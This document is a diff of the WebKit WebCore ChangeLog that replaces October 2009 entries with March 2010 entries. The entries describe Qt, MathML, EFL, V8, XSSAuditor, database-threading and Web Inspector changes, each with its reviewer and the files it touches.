-        Japanese tailoring without removing anything.
-
-        * editing/TextIterator.cpp: Rolled out r49924.
-
-2009-10-21  Pavel Feldman  <pfeldman@chromium.org>
-
-        Not reviewed: chromium build fix - add missing image to gypi.
-
-        * WebCore.gypi:
-
-2009-10-21  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Eric Seidel.
-
-        Fixes part of <http://webkit.org/b/30522>.
-        Web Inspector: DOM Exceptions throughout the Inspector should be more human readable.
-
-        Expose the description attribute that is now a member of
-        ExceptionBase as of r49723, so when a user logs an exception, they
-        can see the description in the Web Inspector.
-
-        Test: fast/dom/dom-exception-description.html
-
-        * dom/DOMCoreException.idl:
-        * dom/EventException.idl:
-        * dom/RangeException.idl:
-        * svg/SVGException.idl:
-        * xml/XMLHttpRequestException.idl:
-        * xml/XPathException.idl:
-
-2009-10-21  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30616>.
-        REGRESSION (r49036): Web Inspector: Summary graph no longer switching to size summary.
-        
-        Add a check to make sure a function we need to calculate percentages is
-        defined before we use it.
-
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel.prototype._updateGraphDividersIfNeeded):
+2010-03-22  Jakub Wieczorek  <jwieczorek@webkit.org>
 
-2009-10-21  Keishi Hattori  <casey.hattori@gmail.com>
+        Reviewed by Simon Hausmann.
 
-        Reviewed by Timothy Hatcher.
+        [Qt] Don't construct a QLineEdit every time when painting a text field
+        https://bugs.webkit.org/show_bug.cgi?id=36373
 
-        REGRESSION: Clicking on nodes in the console should take you to the element in the DOM
-        https://bugs.webkit.org/show_bug.cgi?id=27231
+        Instead, keep one instance per RenderTheme around.
 
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype._formatnode): Turns on ElementsTreeOutline.showInElementsPanelEnabled
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeOutline): Added ElementsTreeOutline.showInElementsPanelEnabled
-        (WebInspector.ElementsTreeElement.prototype.onmousedown): Reveals the node in the Elements panel if 
-        treeOutline.showInElementsPanelEnabled is true.
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::findFrameLineWidth):
 
-2009-10-21  Jeremy Orlow  <jorlow@chromium.org>
+2010-03-22  Luiz Agostini  <luiz.agostini@openbossa.org>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30637
-        Fix a compiler warning in windows.
+        [Qt] Multiselect Popup - adjusting QtAbstractWebPopup
+        https://bugs.webkit.org/show_bug.cgi?id=36186
 
-        * loader/ResourceLoadNotifier.h:
+        QtAbstractWebPopup must provide new methods to be used by its descendants that
+        wish to handle <select multiple> elements.
 
-2009-10-21  Dmitry Titov  <dimich@chromium.org>
+        * platform/qt/QtAbstractWebPopup.cpp:
+        (WebCore::QtAbstractWebPopup::selectItem):
+        (WebCore::QtAbstractWebPopup::multiple):
+        * platform/qt/QtAbstractWebPopup.h:
 
-        Reviewed by Darin Adler.
+2010-03-22  Alex Milowski  <alex@milowski.com>
 
-        Fix the crash when a node not in a document receives dispatchEvent.
-        https://bugs.webkit.org/show_bug.cgi?id=30611
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Test: fast/events/dispatch-event-no-document.html
+        Added basic support for mfrac (fractions)
 
-        * dom/EventTarget.cpp: Check for scriptExecutionContext() at the moment of dispatchEvent; do nothing if no context.
-        (WebCore::EventTarget::dispatchEvent):
+        Test: mathml/presentation/fractions.xhtml
 
-2009-10-21  Adam Langley  <agl@google.com>
+        * WebCore.xcodeproj/project.pbxproj:
+        * mathml/MathMLInlineContainerElement.cpp:
+        (WebCore::MathMLInlineContainerElement::createRenderer):
+        * mathml/RenderMathMLFraction.cpp: Added.
+        (WebCore::RenderMathMLFraction::RenderMathMLFraction):
+        (WebCore::RenderMathMLFraction::updateFromElement):
+        (WebCore::RenderMathMLFraction::addChild):
+        * mathml/RenderMathMLFraction.h: Added.
 
-        Reviewed by Eric Seidel.
+2010-03-22  Kevin Decker  <kdecker@apple.com>
 
-        Chromium Linux: disable subpixel text on layers.
+        Reviewed by John Sullivan.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30635
-        http://code.google.com/p/chromium/issues/detail?id=25365
+        https://bugs.webkit.org/show_bug.cgi?id=36328
 
-        With the addition of layers for drawing rounded corners in r49641,
-        subpixel text on rounded rectangles broke. This is because the layer
-        only contains a single alpha channel and this is insufficient to
-        compose subpixel text correctly.
+        * page/mac/WebCoreViewFactory.h: Added -missingPluginText method 
+        * platform/LocalizedStrings.h: Added missingPluginText()
+        * platform/gtk/LocalizedStringsGtk.cpp: Likewise.
+        * platform/mac/LocalizedStringsMac.mm: Same here.
+        * platform/qt/Localizations.cpp: Ditto.
 
-        On Windows, a large body of code in TransparencyWin.cpp exists to try
-        to deal with this. Even then, in some cases, it downgrades to
-        anti-aliased text. We need a fix for the grevious effects quickly thus
-        this patch disables subpixel text when rendering into a layer.
+2010-03-22  Yury Semikhatsky  <yurys@chromium.org>
 
-        This would be covered by existing tests except that subpixel text is
-        disabled for pixel tests on Chromium Linux.
+        Reviewed by Pavel Feldman.
 
-        * platform/graphics/chromium/FontLinux.cpp:
-        (WebCore::isCanvasMultiLayered):
-        (WebCore::adjustTextRenderMode):
-        (WebCore::Font::drawGlyphs):
-        (WebCore::Font::drawComplexText):
+        Handle worker exceptions in V8MessageHandler like it's done in regular documents. This way all worker exceptions will be logged in the console not only those which happen in event listeners. 
 
-2009-10-21  Kevin Ollivier  <kevino@theolliviers.com>
+        https://bugs.webkit.org/show_bug.cgi?id=31171
 
-        wxMac 10.4 build fix, make sure we specify the Sqlite3 dependency correctly as otherwise
-        it will use the sqlite3 system library rather than WebCoreSQLite3.
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::invokeEventHandler): Removed explicit call to reportException.
+        * bindings/v8/V8Utilities.cpp: reportException function was removed since it's not used.
+        (WebCore::getScriptExecutionContext):
+        * bindings/v8/V8Utilities.h:
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::v8MessageHandler):
+        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded): Setup message handler when first worker context is created.
 
-        * wscript:
+2010-03-22  Leandro Pereira  <leandro@profusion.mobi>
 
-2009-10-21  Dan Bernstein  <mitz@apple.com>
+        Reviewed by Simon Hausmann.
 
-        Reviewed by Sam Weinig.
+        Add EFL-specific code to page/EventHandler.cpp.
+        http://webkit.org/b/36306
 
-        Fixed background-clip parsing regressions introduced in r46240.
+        * page/EventHandler.cpp:
 
-        Test: fast/css/background-clip-text.html
+2010-03-22  Leandro Pereira  <leandro@profusion.mobi>
 
-        * css/CSSParser.cpp:
-        (WebCore::parseBackgroundClip): Added this helper method.
-        (WebCore::CSSParser::parseFillShorthand): Use parseBackgroundClip() to
-        reparse the value. The old code called parseFillProperty() again, which
-        didn’t work, because parseFillProperty() advances the value list.
-        (WebCore::CSSParser::parseFillProperty): Changed to use
-        parseBackgroundClip().
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::operator EFillBox): Added a case for
-        CSSValueWebkitText.
+        Reviewed by Simon Hausmann.
 
-2009-10-21  Alexander Pavlov  <apavlov@chromium.org>
+        Add EFL-specific code to platform/DragImage.h and
+        platform/DragData.h.
+        http://webkit.org/b/36310
 
-        Reviewed by Timothy Hatcher.
+        * platform/DragImage.h:
+        * platform/DragData.h:
 
-        Enable creation of custom SidebarTreeElements for different ProfileTypes
+2010-03-22  Leandro Pereira  <leandro@profusion.mobi>
 
-        ProfileTypes can now create sidebar tree elements of custom types.
-        https://bugs.webkit.org/show_bug.cgi?id=30520
+        Reviewed by Simon Hausmann.
 
-        * inspector/front-end/ProfileView.js:
-        (WebInspector.CPUProfileType.prototype.setRecordingProfile):
-        (WebInspector.CPUProfileType.prototype.createSidebarTreeElementForProfile):
-        (WebInspector.CPUProfileType.prototype.createView):
-        (WebInspector.CPUProfile.prototype.get head):
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfileType.prototype.buttonClicked):
-        (WebInspector.ProfileType.prototype.viewForProfile):
-        (WebInspector.ProfileType.prototype.createView):
-        (WebInspector.ProfileType.prototype.createSidebarTreeElementForProfile):
-        (WebInspector.ProfilesPanel.prototype.addProfileHeader):
-        (WebInspector.ProfilesPanel.prototype.showProfile):
+        Add EFL-specific code to platform/FileSystem.h.
+        http://webkit.org/b/36313
 
-2009-10-20  Joseph Pecoraro  <joepeck@webkit.org>
+        * platform/FileSystem.h:
 
-        Reviewed by Timothy Hatcher.
+2010-03-22  Leandro Pereira  <leandro@profusion.mobi>
 
-        Web Inspector: Selectors in the Styles pane should trigger a search for that selector when clicked
-        https://bugs.webkit.org/show_bug.cgi?id=17126
+        Reviewed by Simon Hausmann.
 
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.prototype.addNodesToSearchResult): only change focusedDOMNode on a manual search
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylePropertiesSection.prototype._clickSelector): trigger a search
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeElement.prototype._startEditing): correctly start editing attribute value instead of name
+        Add EFL-specific code to platform/Cursor.h.
+        http://webkit.org/b/36319
 
-2009-10-20  Pavel Feldman  <pfeldman@chromium.org>
+        * platform/Cursor.h:
 
-        Reviewed by Timothy Hatcher.
+2010-03-22  Leandro Pereira  <leandro@profusion.mobi>
 
-        Web Inspector: Fix DOM Agent leak.
+        Reviewed by Simon Hausmann.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30615
+        Add EFL-specific code to platform/NotImplemented.h.
+        http://webkit.org/b/36320
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::~InspectorController):
+        * platform/NotImplemented.h:
 
-2009-10-21  Girish Ramakrishnan  <girish@forwardbias.in>
+2010-03-21  Kim Grönholm  <kim.gronholm@nomovok.com>
 
-        Reviewed by Holger Freyther.
+        Reviewed by Simon Hausmann.
 
-        Plugins: Create manual tests for testing plugins
+        [Qt] GraphicsLayer: matrix interpolations in transform-animations don't behave correctly
+        https://bugs.webkit.org/show_bug.cgi?id=35520
         
-        Create two test files:
-        1. windowed.html - Test plugin in windowed mode.
-        2. windowless.html - Test plugin in windowless mode.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30503
-
-        * manual-tests/plugins/windowed.html: Added.
-        * manual-tests/plugins/windowless.html: Added.
-
-2009-10-21  Satoshi Nakagawa  <psychs@limechat.net>
-
-        Reviewed by Darin Adler.
-
-        Fixed Japanese text search problems.
-        Treat small kana letters and kana letters as different characters in search.
-        Do not ignore diacritic marks in search for Japanese texts.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30437
-
-        Test: fast/text/international/japanese-kana-letters.html
-
-        * editing/TextIterator.cpp:
-        (WebCore::createCollator):
-        (WebCore::collator):
-        (WebCore::createSearcher):
-
-2009-10-20  Eric Z. Ayers  <zundel@google.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Changes TimelineItems to be created with raw timestamps as opposed
-        to a time relative to a start of session.  Normalized timestamps cause
-        problems when monitoring a browsing session across multiple page
-        transitions.
-
-        * inspector/InspectorTimelineAgent.cpp:
-        (WebCore::InspectorTimelineAgent::InspectorTimelineAgent):
-        (WebCore::InspectorTimelineAgent::willDispatchDOMEvent):
-        (WebCore::InspectorTimelineAgent::willLayout):
-        (WebCore::InspectorTimelineAgent::willRecalculateStyle):
-        (WebCore::InspectorTimelineAgent::willPaint):
-        (WebCore::InspectorTimelineAgent::willWriteHTML):
-        (WebCore::InspectorTimelineAgent::reset):
-        (WebCore::InspectorTimelineAgent::didCompleteCurrentRecord):
-        * inspector/InspectorTimelineAgent.h:
-
-2009-10-20  Mark Rowe  <mrowe@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        Fix leak of WebSocketChannel by adopting the newly-created reference.
-
-        * websockets/WebSocketChannel.h:
-        (WebCore::WebSocketChannel::create):
-
-2009-10-20  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        DOM Storage runtime flag changes
-        https://bugs.webkit.org/show_bug.cgi?id=30602
-
-        Part 1/2.  Removing sessionStorageEnabled in next patch after the
-        Chromium side of the changes lands.
-
-        Revert my changes to Settings and instead implement DOM Storage enabling via
-        the methods agreed upon in https://bugs.webkit.org/show_bug.cgi?id=30240
-
-        This stuff was (intentionally) never exposed to web pages or DRT, so there's no
-        LayoutTest visible changes and thus no tests.
-
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_RUNTIME_ENABLER):
-        * page/DOMWindow.idl:
-        * storage/Storage.cpp:
-        (WebCore::Storage::setLocalStorageAvailable):
-        (WebCore::Storage::localStorageAvailable):
-        (WebCore::Storage::setSessionStorageAvailable):
-        (WebCore::Storage::sessionStorageAvailable):
-        * storage/Storage.h:
-
-2009-10-20  John Gregg  <johnnyg@google.com>
-
-        Reviewed by David Levin.
-
-        Need to turn off notifications properly at runtime
-        https://bugs.webkit.org/show_bug.cgi?id=30409
-
-        This code only affects chromium, and is all behind a compile time
-        flag current turned off, so no new tests.
-
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_RUNTIME_ENABLER):
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::ACCESSOR_RUNTIME_ENABLER):
-        * notifications/NotificationCenter.cpp:
-        (WebCore::NotificationCenter::setIsAvailable):
-        (WebCore::NotificationCenter::isAvailable):
-        * notifications/NotificationCenter.h:
-        * page/DOMWindow.idl:
-        * workers/WorkerContext.idl:
+        The case where the list of source and target transform operations are 
+        not the same but have the same size needs to be special-cased in
+        GraphicsLayerQt, as well as the case where the source or target
+        operation list is empty. The URLs listed here render correctly after
+        applying the patch.
 
-2009-10-20  James Robinson  <jamesr@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        Fixes RefPtr initialization in the V8 implementation of WebCore::ScriptString to use the ::create() idiom and
-        use adoptRef() properly.  I failed to read the RefPtr docs the first time through :(
-
-        No new tests, error was caught by valgrind on the Chromium builders.
-
-        * bindings/v8/ScriptString.h:
-        (WebCore::ScriptString::ScriptString):
-        (WebCore::ScriptString::operator=):
-        * bindings/v8/ScriptStringImpl.h:
-        (WebCore::ScriptStringImpl::create):
-
-2009-10-20  Mikhail Naganov  <mnaganov@chromium.org>
-
-        Reviewed by Pavel Feldman.
-
-        Web Inspector: populate child nodes before sorting them.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29673
+        Tests: https://bug-35520-attachments.webkit.org/attachment.cgi?id=49890
+               https://bug-35520-attachments.webkit.org/attachment.cgi?id=49889
+            
 
-        * inspector/front-end/BottomUpProfileDataGridTree.js:
-        (WebInspector.BottomUpProfileDataGridNode): Swapped with BottomUpProfileDataGridTree to be consistent with TopDownProfileDataGridNode.
-        (WebInspector.BottomUpProfileDataGridNode.prototype._takePropertiesFromProfileDataGridNode):
-        (WebInspector.BottomUpProfileDataGridNode.prototype._keepOnlyChild):
-        (WebInspector.BottomUpProfileDataGridNode.prototype._exclude):
-        (WebInspector.BottomUpProfileDataGridNode.prototype._merge):
-        (WebInspector.BottomUpProfileDataGridNode.prototype._sharedPopulate):
-        (WebInspector.BottomUpProfileDataGridTree.prototype.exclude):
-        * inspector/front-end/ProfileDataGridTree.js:
-        (WebInspector.ProfileDataGridNode.prototype.sort): Added missing parentheses.
-        (WebInspector.ProfileDataGridNode.prototype.get _parent):
-        (WebInspector.ProfileDataGridNode.prototype._populate):
-        * inspector/front-end/TopDownProfileDataGridTree.js:
-        (WebInspector.TopDownProfileDataGridNode.prototype._sharedPopulate):
+        * platform/graphics/qt/GraphicsLayerQt.cpp:
+        (WebCore::TransformAnimationQt::applyFrame):
 
-2009-10-20  Jens Alfke  <snej@chromium.org>
+2010-03-21  Dmitry Gorbik  <socket.h@gmail.com>
 
-        Reviewed by Eric Seidel.
+        <http://webkit.org/b/14858> <col> width ignored when not tied to a single cell
 
-        Remove redundant String ref/deref calls in generated V8 bindings.
-        https://bugs.webkit.org/show_bug.cgi?id=30579
+        Reviewed by David Kilzer.
 
-        * bindings/v8/V8Binding.h:
-        (WebCore::toString): Fix return type of 'toString' to make it truly a no-op
-            instead of constructing/destructing a String.
+        Fixed width calculation for cells with span when <col> is defined.
 
-2009-10-20  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+        Test: fast/table/col-width-span-expand.html
 
-        Reviewed by Xan Lopez.
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::styleOrColWidth): Added the calculation of cell width
+        in case of <col> defined and span > 1.
 
-        https://bugs.webkit.org/show_bug.cgi?id=25411
-        [GTK] ATK accessible ancestry broken
+2010-03-20  Antonio Gomes  <tonikitoo@webkit.org>
 
-        Work around for the problem of bogus additional objects in the ancestry.
-        We now set the parent when we ref the child, then ask the Atk child if
-        it knows its parent. This solves the bulk of the cases. For those it
-        doesn't, fall back to the existing logic.
+        Reviewed by Kenneth Christiansen.
+        Patch by Antonio Gomes <tonikitoo@webkit.org>
 
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (webkit_accessible_get_parent):
-        (webkit_accessible_ref_child):
+        Spatial Navigation: Code simplification in FocusController.cpp and SpatialNavigation.cpp (part I)
+        https://bugs.webkit.org/show_bug.cgi?id=36168
 
-2009-10-20  Brian Weinstein  <bweinstein@apple.com>
+        Make use of isNull and document methods introduced in FocusCandidate class by patch in bug 36167.
+        No functionalty change.
 
-        Reviewed by Alice Liu.
+        * page/FocusController.cpp:
+        (WebCore::updateFocusCandidateIfCloser):
+        * page/SpatialNavigation.cpp:
+        (WebCore::distanceInDirection):
 
-        Fixes <http://webkit.org/b/30421>.
-        Web Inpsector: Local Files can show up on Cookies List with Cookies from other Domain.
+2010-03-20  Kevin Ollivier  <kevino@theolliviers.com>
 
-        When a page like Google generates an about:blank, it shows up as a local file on
-        the list of Cookie domains, but has all of the cookies of Google. When we are adding
-        cookie domains to the inspector, we should only add the domain is the URL of the resource
-        is in the HTTP protocol family or a file URL.
+        [wx] Build fixes after recent changes.
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::populateScriptObjects):
-        (WebCore::InspectorController::didFinishLoading):
+        * platform/graphics/wx/ImageWx.cpp:
+        * wscript:
 
-2009-10-20  Mark Mentovai  <mark@chromium.org>
+2010-03-20  Joseph Pecoraro  <joepeck@webkit.org>
 
-        Reviewed by Darin Fisher.
+        Reviewed by David Kilzer.
 
-        Use a version of libWebKitSystemInterface with global symbols marked
-        private_extern for Chromium Mac.
+        Assertion failure in media/video-controls-with-mutation-event-handler.html
+        https://bugs.webkit.org/show_bug.cgi?id=36376
 
-        https://bugs.webkit.org/show_bug.cgi?id=30590
+        Test: media/video-controls-with-mutation-event-handler.html
 
-        * WebCore.gyp/WebCore.gyp:
-        * WebCore.gyp/mac: Added.
-        * WebCore.gyp/mac/Empty.cpp: Added.
-        * WebCore.gyp/mac/adjust_visibility.sh: Added.
+        Break early (when not attached) in the defaultEventHandler before the
+        slider is completely set up.
 
-2009-10-20  Zoltan Horvath  <zoltan@webkit.org>
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlTimelineElement::defaultEventHandler):
+        (WebCore::MediaControlVolumeSliderElement::defaultEventHandler):
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::createVolumeSlider):
 
-        Reviewed by Eric Seidel.
+2010-03-19  Shinichiro Hamaji  <hamaji@chromium.org>
 
-        Allow custom memory allocation control for WebCore's CSSProperty
-        https://bugs.webkit.org/show_bug.cgi?id=30564
+        Reviewed by Dan Bernstein.
 
-        Inherits CSSProperty class from FastAllocBase because it has been
-        instantiated by 'new' in WebCore/css/CSSParser.cpp:367.
+        WebCore::RenderButton::styleDidChange ReadAV@NULL (6739b7fe455ecb54a6812c0866c3b47c)
+        https://bugs.webkit.org/show_bug.cgi?id=34641
 
-        * css/CSSProperty.h:
+        Don't dig into buttons and menu lists when finding which element
+        should be modified by :first-letter pseudo class.  Even before
+        this change, we didn't dig into inline buttons and menu lists as
+        they are replaced so this issue wasn't found long time.
 
-2009-10-20  Andrew Scherkus  <scherkus@chromium.org>
+        Test: fast/css/first-letter-block-form-controls-crash.html
 
-        Reviewed by Eric Seidel.
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::updateFirstLetter):
 
-        Hide Chromium's media slider thumb if no source has been loaded.
+2010-03-19  Adam Barth  <abarth@webkit.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30529
+        Reviewed by Daniel Bates.
 
-        Covered by existing layout tests, notably:
-            LayoutTests/media/controls-rendering.html
-            LayoutTests/media/unsupported-tracks.html
-            LayoutTests/media/video-src-none.html
+        Change XSSAuditor block syntax
+        https://bugs.webkit.org/show_bug.cgi?id=34436
 
-        * rendering/RenderMediaControlsChromium.cpp:
-        (WebCore::hasSource): Returns true if an HTMLMediaElement has a valid source set.
-        (WebCore::paintMediaMuteButton): Refactored to use hasSource().
-        (WebCore::paintMediaPlayButton): Ditto.
-        (WebCore::paintMediaSliderThumb): Add call to hasSource() to determine if we should paint the thumb.
+        Update our blocking syntax to something more reasonable.  Also,
+        implemented a way for a web site to disable the filter.
 
-2009-10-20  Nate Chapin  <japhet@chromium.org>
+        Tests: http/tests/security/xssAuditor/no-protection-script-tag.html
+               http/tests/security/xssAuditor/xss-protection-parsing-01.html
 
-        Reviewed by Adam Barth.
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::xssProtection):
+        (WebCore::XSSAuditor::findInRequest):
+        * page/XSSAuditor.h:
+        * platform/network/HTTPParsers.cpp:
+        (WebCore::skipToken):
+        (WebCore::parseXSSProtectionHeader):
+        * platform/network/HTTPParsers.h:
+        (WebCore::):
 
-        Added getter for FrameLoader:m_suppressOpenerInNewFrame.
-        This will allow Chromium to more intelligently detect
-        noreferrer links and therefore open them in a new process.
+2010-03-19  Eric Uhrhane  <ericu@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30581
+        Reviewed by Dmitry Titov.
 
-        * loader/FrameLoader.h:
-        (WebCore::FrameLoader::suppressOpenerInNewFrame): Added.
+        Refactor DatabaseTracker.cpp for thread safety
+        https://bugs.webkit.org/show_bug.cgi?id=34991
 
-2009-10-20  Zoltan Horvath  <zoltan@webkit.org>
+        This enables calling into DatabaseTracker from multiple context threads,
+        as will happen once Workers can access the Database.  It required a fair
+        amount of reshuffling of locks.  I ended up splitting the public
+        interface [calls that take locks and call private functions] from the
+        implementations [calls that assert that locks are already held] in order
+        to avoid lock conflicts.  I also had to make sure we weren't sharing
+        Strings or SecurityOrigins across threads.
 
-        Reviewed by Darin Adler.
+        No new tests.
 
-        Allow custom memory allocation control for WebCore's CSSParserFunction
-        https://bugs.webkit.org/show_bug.cgi?id=30563
+        Allow access to database handles from multiple threads IFF SQLite is new enough and the user requests it.
 
-        Inherits CSSParserFunction struct from FastAllocBase because it has been
-        instantiated by 'new' in WebCore/css/CSSParser.cpp:4827.
+        * platform/sql/SQLiteDatabase.cpp:
+        (WebCore::SQLiteDatabase::SQLiteDatabase):
+        (WebCore::SQLiteDatabase::disableThreadingChecks):
+        * platform/sql/SQLiteDatabase.h:
+        (WebCore::SQLiteDatabase::sqlite3Handle):
+        (WebCore::SQLiteDatabase::disableThreadingChecks):
 
-        * css/CSSProperty.h:
+        Remove an asynchronous call from Database::close back to the execution thread, so that cleanup can be more deterministic.
 
-2009-10-20  Joseph Pecoraro  <joepeck@webkit.org>
+        * storage/Database.cpp:
+        (WebCore::Database::markAsDeletedAndClose):
+        (WebCore::Database::close):
+        * storage/Database.h:
+        (WebCore::Database::):
+        * storage/DatabaseDetails.h:
+        (WebCore::DatabaseDetails::DatabaseDetails):
+        (WebCore::DatabaseDetails::thread):
+        * storage/DatabaseTask.cpp:
+        (WebCore::DatabaseCloseTask::doPerformTask):
+        * storage/DatabaseThread.cpp:
+        (WebCore::DatabaseThread::databaseThread):
 
-        Reviewed by Timothy Hatcher.
+        Any Strings that get stored in DatabaseTracker, and any Strings returned from DatabaseTracker, are now threadsafeCopies.
+        Public functions now take all needed locks, then generally call only private functions [there are a few exceptions: deletion functions and origins()].
+        Private functions no longer take locks.
+        m_quotaMapGuard becomes m_databaseGuard, and now protects m_database, m_quotaMap, m_proposedDatabases, m_databaseDirectoryPath, m_originsBeingDeleted, m_beingCreated, and m_beingDeleted.
+        m_proposedDatabases replaces m_proposedDatabase, to account for reentrancy.
 
-        Web Inspector: Watched Expressions Buttons Do Not Match Inspector Styles
-        https://bugs.webkit.org/show_bug.cgi?id=30554
+        * storage/DatabaseTracker.h:
+        * storage/DatabaseTracker.cpp:
+        (WebCore::DatabaseTracker::originQuotaManagerNoLock):
+        (WebCore::DatabaseTracker::originQuotaManager):
+        (WebCore::DatabaseTracker::DatabaseTracker):
+        (WebCore::DatabaseTracker::setDatabaseDirectoryPath):
+        (WebCore::DatabaseTracker::databaseDirectoryPath):
+        (WebCore::DatabaseTracker::trackerDatabasePath):
+        (WebCore::DatabaseTracker::openTrackerDatabase):
+        (WebCore::DatabaseTracker::canEstablishDatabase):
+        (WebCore::DatabaseTracker::hasEntryForOriginNoLock):
+        (WebCore::DatabaseTracker::hasEntryForOrigin):
+        (WebCore::DatabaseTracker::hasEntryForDatabase):
+        (WebCore::DatabaseTracker::originPath):
+        (WebCore::DatabaseTracker::fullPathForDatabaseNoLock):
+        (WebCore::DatabaseTracker::fullPathForDatabase):
+        (WebCore::DatabaseTracker::populateOrigins):
+        (WebCore::DatabaseTracker::origins):
+        (WebCore::DatabaseTracker::databaseNamesForOriginNoLock):
+        (WebCore::DatabaseTracker::databaseNamesForOrigin):
+        (WebCore::DatabaseTracker::detailsForNameAndOrigin):
+        (WebCore::DatabaseTracker::setDatabaseDetails):
+        (WebCore::DatabaseTracker::usageForDatabase):
+        (WebCore::DatabaseTracker::addOpenDatabase):
+        (WebCore::DatabaseTracker::removeOpenDatabase):
+        (WebCore::DatabaseTracker::usageForOriginNoLock):
+        (WebCore::DatabaseTracker::usageForOrigin):
+        (WebCore::DatabaseTracker::quotaForOriginNoLock):
+        (WebCore::DatabaseTracker::quotaForOrigin):
+        (WebCore::DatabaseTracker::setQuota):
+        (WebCore::DatabaseTracker::addDatabase):
+        (WebCore::DatabaseTracker::deleteAllDatabases):
+        (WebCore::DatabaseTracker::deleteOrigin):
+        (WebCore::DatabaseTracker::deleteDatabase):
+        (WebCore::DatabaseTracker::deleteDatabaseFile):
+        (WebCore::DatabaseTracker::setClient):
+        (WebCore::DatabaseTracker::scheduleNotifyDatabaseChanged):
+        (WebCore::DatabaseTracker::notifyDatabasesChanged):
+
+        These functions keep track of in-progress deletions and creations, so that we can make sure nobody every deletes a database file while a live database is using it.
+        (WebCore::DatabaseTracker::canCreateDatabase):
+        (WebCore::DatabaseTracker::recordCreatingDatabase):
+        (WebCore::DatabaseTracker::doneCreatingDatabase):
+        (WebCore::DatabaseTracker::creatingDatabase):
+        (WebCore::DatabaseTracker::canDeleteDatabase):
+        (WebCore::DatabaseTracker::recordDeletingDatabase):
+        (WebCore::DatabaseTracker::doneDeletingDatabase):
+        (WebCore::DatabaseTracker::deletingDatabase):
+        (WebCore::DatabaseTracker::canDeleteOrigin):
+        (WebCore::DatabaseTracker::deletingOrigin):
+        (WebCore::DatabaseTracker::recordDeletingOrigin):
+        (WebCore::DatabaseTracker::doneDeletingOrigin):
+
+        Any SecurityOrigins stored in OriginQuotaManager are now threadsafeCopies of inputs.  There's a new tryLock() function in addition to the existing lock().
 
-        * inspector/front-end/inspector.css: added style to pane buttons
+        * storage/OriginQuotaManager.cpp:
+        (WebCore::OriginQuotaManager::tryLock):
+        (WebCore::OriginQuotaManager::trackOrigin):
+        * storage/OriginQuotaManager.h:
 
-2009-10-20  Yury Semikhatsky  <yurys@chromium.org>
+        * page/SecurityOrigin.cpp:
+        (WebCore::SecurityOrigin::databaseIdentifier):
+        Removed DEFINE_STATIC_LOCAL wrapper on a local variable; it appears to have been a small optimization, but it's not thread-safe.
 
-        Reviewed by Pavel Feldman.
+2010-03-19  Luiz Agostini  <luiz.agostini@openbossa.org>
 
-        Set debug id for contexts of isolated worlds to distinguish them in debugger.
+        Reviewed by Antti Koivisto.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30559
+        Multiselect popups - rendering
+        https://bugs.webkit.org/show_bug.cgi?id=36006
 
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::evaluateInIsolatedWorld):
-        (WebCore::V8Proxy::evaluateInNewContext):
-        (WebCore::V8Proxy::setInjectedScriptContextDebugId):
-        * bindings/v8/V8Proxy.h:
+        The objective of this patch is to create a compile time flag that can be used
+        to force all <select> elements to be rendered as menu lists.
 
-2009-10-20  Andras Becsi  <becsi.andras@stud.u-szeged.hu>
+        Theme stylesheet mechanism has been used to change the appearance of the elements.
 
-        Unreviewed buildfix.
-        [Qt] Add FEGaussianBlur.h and FEGaussianBlur.cpp which were refactored in r49778 to WebCore.pro.
+        Class QtStyleOptionWebComboBox has been introduced to provide to QStyle objects
+        the needed information to render <select multiple> comboboxes.
 
+        * WebCore.pri:
         * WebCore.pro:
+        * css/themeQtNoListboxes.css: Added.
+        (select[size][multiple]):
+        * dom/SelectElement.h:
+        (WebCore::SelectElementData::usesMenuList):
+        * platform/qt/QtStyleOptionWebComboBox.h: Added.
